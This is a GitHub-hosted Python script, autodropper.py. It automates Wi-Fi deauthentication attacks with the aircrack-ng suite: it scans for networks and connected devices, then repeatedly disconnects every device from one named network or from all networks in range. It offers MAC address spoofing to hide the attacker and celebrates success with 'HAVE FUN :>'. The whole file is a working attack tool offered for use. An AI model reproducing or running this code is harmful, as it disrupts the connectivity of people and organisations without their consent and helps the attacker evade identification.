-
Notifications
You must be signed in to change notification settings - Fork 1
/
autodropper.py
332 lines (282 loc) Β· 13.9 KB
/
autodropper.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
import subprocess
import os
import time
import optparse
import re
try:
import sqlite3
except ImportError:
print("[-] sqlite3 is not installed!")
CRED = '\033[41m'
CEND = '\033[0m'
text = f""" βββββ
βββββββ
ββββββββββ
ββββ ββββββββββββββ
ββββββββββββββββββββββ
ββββββββββββββββββββββββ
ββββββββββββββββββββββββββ
ββββββββββββββββββββββββββ
ββββββββββββββββββββββββββββ
βββββββββββββββββββββββββββββββββ
βββββββββββββββββββββββββββββββββ
ββββββββββββββββββββββββββββββββββ
βββββββββββββββββββββββββββββββββββ
ββββββββββββββββββββββββββββββββ
βββββββββββββββββββββββββββ βββ
βββββΫ©ΫΫ© jammerDEAUTHway Ϋ©ΫΫ©ββββββ
ββ"""
print(text)
print("\nHi jumppy :>\n\n")
def is_package_installed(*args):
counter = 0
for package_name in args:
which_output = subprocess.getoutput(f"which {package_name}")
if os.path.exists(which_output):
print(f"[+] {package_name} is installed!")
counter += 1
else:
print(f"[-] {package_name} is NOT installed!")
if counter == len(args):
return True
else:
return False
def get_user_input():
parse_object = optparse.OptionParser()
parse_object.add_option("-t","--target", dest="targetname", type=str, help="Specific target name to be attacked!\nIf all then do NOT use this parameter!")
parse_object.add_option("-n","--number", dest="number_of_packages",type=int, default=0, help="How many packages will be sent to the target(s)!(default=0=unlimited)")
parse_object.add_option("-m","--mac",dest="mac_address",type=str, help="Temporary new MAC address.")
parse_object.add_option("-q", "--quality", dest="quality_of_the_attack", type=int, default=1, help="Enter a number between 1 and 20. The higher the number, the higher the quality of the attack as well as the time taken!\n(default=1)")
return parse_object.parse_args()
def change_mac_address(mac_address):
interface_name = get_interface_name()
if is_monitor():
re_eneable_managedmode(interface_name)
time.sleep(3)
interface_name = get_interface_name()
subprocess.call(["ifconfig", interface_name,"down"])
time.sleep(1)
subprocess.call(["ifconfig", interface_name,"hw","ether", mac_address])
time.sleep(1)
subprocess.call(["ifconfig", interface_name,"up"])
time.sleep(3)
def control_new_mac(interface_name):
ifconfig = subprocess.check_output(["ifconfig", interface_name])
new_mac = re.search(r"\w\w:\w\w:\w\w:\w\w:\w\w:\w\w", str(ifconfig))
if new_mac:
return new_mac.group(0)
else:
return None
def get_interface_name():
process_of_interface_output = subprocess.getoutput("iw dev | grep Interface")
interface_name = process_of_interface_output.split("\n")[0] # Searching for interface name
interface_name = interface_name[11:] # Getting the name only
return str(interface_name)
def change_interface_mod(interface_name):
os.system("airmon-ng start " + interface_name)
def is_monitor():
process_of_type_output = subprocess.getoutput("iw dev | grep type")
type_of_card = process_of_type_output.split("\n")[0]
type_of_card = type_of_card[7:]
print("--> Network Adaper Mode: ", type_of_card)
if type_of_card == 'monitor':
return True
if type_of_card == 'managed':
print("\nYou may want to change the mod of your WIFI card manually.")
return False
def scan_network(interface_name_monitor):
print("...scanning...")
files_first = os.listdir("./firstScan")
number_of_files_first = len(files_first)
os.system(f"xterm -e timeout -s 9 10 airodump-ng -w ./firstScan/output_of_scan{number_of_files_first} --output-format kismet.csv {interface_name_monitor}")
sleep(10)
def scan_all_network(interface_name_monitor):
print("...scanning...")
files_allf = os.listdir("./allScan/allfScan")
number_of_files_allf = len(files_allf)
os.system(f"xterm -e timeout -s 9 10 airodump-ng -w ./allScan/allfScan/output_of_scan{number_of_files_allf} --output-format kismet.csv {interface_name_monitor}")
sleep(10)
def get_targets(db_name):
conn = sqlite3.connect(db_name)
c = conn.cursor()
macs = f"""SELECT BSSID FROM dump"""
c.execute(macs)
macs = c.fetchall()
channels = f"SELECT Channel FROM dump"
c.execute(channels)
channels = c.fetchall()
return macs, channels
def get_bssid_and_channel(db_name):
conn = sqlite3.connect(db_name)
c = conn.cursor()
bssid = f"""SELECT bssid FROM dump WHERE ESSID ='{targetname}'"""
c.execute(bssid)
bssid = c.fetchone()[0]
channel = f"""SELECT channel FROM dump WHERE ESSID ='{targetname}'"""
c.execute(channel)
channel = c.fetchone()[0]
return bssid, channel
def scan_devices(interface_name_monitor, bssid, channel):
print("...scanning...")
channel = str(channel)
files_second = os.listdir("./secondScan")
number_of_files_second = len(files_second)
os.system(f"xterm -e timeout -s 9 15 airodump-ng -c {channel} --bssid {bssid} -w ./secondScan/output_of_scan{number_of_files_second} --output-format csv {interface_name_monitor}")
sleep(15)
def scan_devices_for_all(interface_name_monitor, bssid, channel):
print("...scanning...")
channel = str(channel)
files_alls = os.listdir("./allScan/allsScan")
number_of_files_alls = len(files_alls)
os.system(f"xterm -e timeout -s 9 15 airodump-ng -c {channel} --bssid {bssid} -w ./allScan/allsScan/output_of_scan{number_of_files_alls} --output-format csv {interface_name_monitor}")
sleep(15)
def get_wifi_name(db_name):
conn = sqlite3.connect(db_name)
c = conn.cursor()
names = f"""SELECT ESSID FROM dump"""
c.execute(names)
names = c.fetchall()
return names
def get_mac_addresses(db_name):
conn = sqlite3.connect(db_name)
c = conn.cursor()
macs = f"""SELECT StationMAC FROM dump"""
c.execute(macs)
macs = c.fetchall()
return macs
def drop(device_mac, network_mac, interface_name_monitor):
os.system(f"xterm -e aireplay-ng -0 {number_of_packages} -a {network_mac} -c {device_mac} --ignore-negative-one {interface_name_monitor}")
def sleep(during):
during += quality_of_the_attack * 1.5
time.sleep(during)
def clean():
os.system("rm -rf firstScan/o*")
os.system("rm -rf secondScan/o*")
os.system("rm -rf allScan/allfScan/o*")
os.system("rm -rf allScan/allsScan/o*")
def re_eneable_managedmode(interface_name_monitor):
os.system(f"airmon-ng stop {interface_name_monitor}")
if is_package_installed("sqlite3", "aircrack-ng", "xterm"):
print("[+] All packages we need are installed.\n")
else:
exit("Stopped due to not-installed packages!\n")
(user_input,arguments) = get_user_input()
targetname, number_of_packages, mac_address, quality_of_the_attack = user_input.targetname, user_input.number_of_packages, user_input.mac_address, user_input.quality_of_the_attack
if quality_of_the_attack < 1 or quality_of_the_attack > 20:
exit("The quality value is NOT valid! Enter a number between 1 and 20! ")
interface_name = get_interface_name()
if not mac_address is None:
change_mac_address(mac_address)
finalized_mac = control_new_mac(str(get_interface_name()))
if finalized_mac == mac_address:
print("\n[+] MAC address was changed successfully!\n")
else:
print(CRED + "\n[-] MAC address could NOT changed!!" + CEND)
wanna_c = input("Wanna continue without changing your MAC address. This can be dangerous![Y/n]: ")
if wanna_c == "n":
exit("Stopped!")
print(f"\n\nOptions:\nSpecified Target: {targetname} (None = all targets)\nPackage quantity: {number_of_packages} (0 = unlimited)\nYour MAC address: {control_new_mac(get_interface_name())}")
print(CRED + "\nAre you sure to start the attack with the above settings?[Y/n]" + CEND)
sure = input("\n: ")
s = ["y", "Y", ""]
if sure not in s:
exit("Stopped!")
clean()
if not is_monitor():
change_interface_mod(get_interface_name())
if is_monitor():
print("[+] The mode has changed to monitor instead of managed.")
interface_name_monitor = get_interface_name()
if targetname == None:
print("[+] All WIFI that the WIFI card can reach have been chosen as target!")
time.sleep(1)
# ALL SCAN
scan_all_network(interface_name_monitor)
files_allf = os.listdir("./allScan/allfScan")
number_of_files_allf = len(files_allf)
os.system(f"./kismet2sqlite.sh ./allScan/allfScan/output_of_scan{number_of_files_allf - 1}-01.kismet.csv")
print("...creating databases...")
time.sleep(1.5)
os.system(f"rm -r ./allScan/allfScan/output_of_scan{number_of_files_allf - 1}-01.kismet.csv")
db_name = f"./allScan/allfScan/output_of_scan{number_of_files_allf - 1}-01.kismet.csv.db"
targets, channels = get_targets(db_name)
names = get_wifi_name(db_name)
for i in range(0, len(targets)):
name = str(names[i])[2:-3]
bssid = str(targets[i])[2:19]
channel = str(channels[i])[1:-2]
print("--> Current Target WiFi: ", CRED + name + CEND, bssid, channel)
scan_devices_for_all(interface_name_monitor, bssid, channel)
files_alls = os.listdir("./allScan/allsScan")
number_of_files_alls = len(files_alls)
os.system(f"./kismet3sqlite.sh ./allScan/allsScan/output_of_scan{number_of_files_alls - 1}-01.csv")
print("...creating databases...")
time.sleep(1.5)
os.system(f"rm -r ./allScan/allsScan/output_of_scan{number_of_files_alls - 1}-01.csv")
db_name = f"./allScan/allsScan/output_of_scan{number_of_files_alls - 1}-01.csv.db"
macs = get_mac_addresses(db_name)
print("--> Available Targets: ", macs)
counter = 0
for mac in macs:
mac = str(mac)
mac = mac[2:19]
print("--> Current Target Device: ", CRED + mac + CEND)
if len(mac) == 17:
drop(mac, bssid, interface_name_monitor)
time.sleep(5)
counter += 1
if len(macs) == 1:
print(CRED + "\nThere is not any devices connected to the WIFI!\nOr you are not close enough to the WIFI!" + CEND + "\n\n\n\n\n\n")
time.sleep(1)
if counter == len(macs):
print(CRED + "[+] All devices have been dropped from the WIFI you chose!" + CEND + "\nHAVE FUN :>")
re_enable = input("[?] Wanna re-enable managed mode?[Y/n]:\n")
if re_enable in s:
re_eneable_managedmode()
print("Setting your wifi card to its old settings...")
time.sleep(2)
print("[+] Your network can reachable now! Have a good one c:")
else:
print(f"'{targetname}' has been chosen as target!")
time.sleep(0.3)
## FIRST SCAN
scan_network(interface_name_monitor)
files_first = os.listdir("./firstScan")
number_of_files_first = len(files_first)
os.system(f"./kismet2sqlite.sh ./firstScan/output_of_scan{number_of_files_first - 1}-01.kismet.csv")
print("...creating databases...")
time.sleep(1.5)
os.system(f"rm -r ./firstScan/output_of_scan{number_of_files_first - 1}-01.kismet.csv")
db_name = f"./firstScan/output_of_scan{number_of_files_first - 1}-01.kismet.csv.db"
bssid, channel = get_bssid_and_channel(db_name)
print("--> Current Target WiFi: ", bssid, channel)
# SECOND SCAN
scan_devices(interface_name_monitor, bssid, channel)
files_second = os.listdir("./secondScan")
number_of_files_second = len(files_second)
os.system(f"./kismet3sqlite.sh ./secondScan/output_of_scan{number_of_files_second - 1}-01.csv")
print("...creating databases...")
time.sleep(1.5)
os.system(f"rm -r ./secondScan/output_of_scan{number_of_files_second - 1}-01.csv")
db_name = f"./secondScan/output_of_scan{number_of_files_second - 1}-01.csv.db"
macs = get_mac_addresses(db_name)
print("--> Current Target Devices: ", macs)
counter = 0
for mac in macs:
mac = str(mac)[2:19]
print("--> Current Target Device: ", CRED + mac + CEND)
if len(mac) == 17:
drop(mac, bssid, interface_name_monitor)
time.sleep(5)
counter += 1
if len(macs) == 1:
print(CRED + "\nThere is not any devices connected to the WIFI!\nOr you are not close enough to the WIFI!" + CEND + "\n\n\n\n\n\n")
time.sleep(1)
if counter == len(macs):
print(CRED + "[+] All devices have been dropped from the WIFI you chose!" + CEND + "\nHAVE FUN :>")
re_enable = input("[?] Wanna re-enable managed mode?[Y/n]:\n")
if re_enable in s:
re_eneable_managedmode(interface_name_monitor)
print("Setting your wifi card to its old settings.")
time.sleep(2)
print("[+] Your network can reachable now! Have a good one c:")
else:
print("[-] The mode could NOT changed to monitor instead of managed." + CRED +"\nYou should run it as root!" + CEND)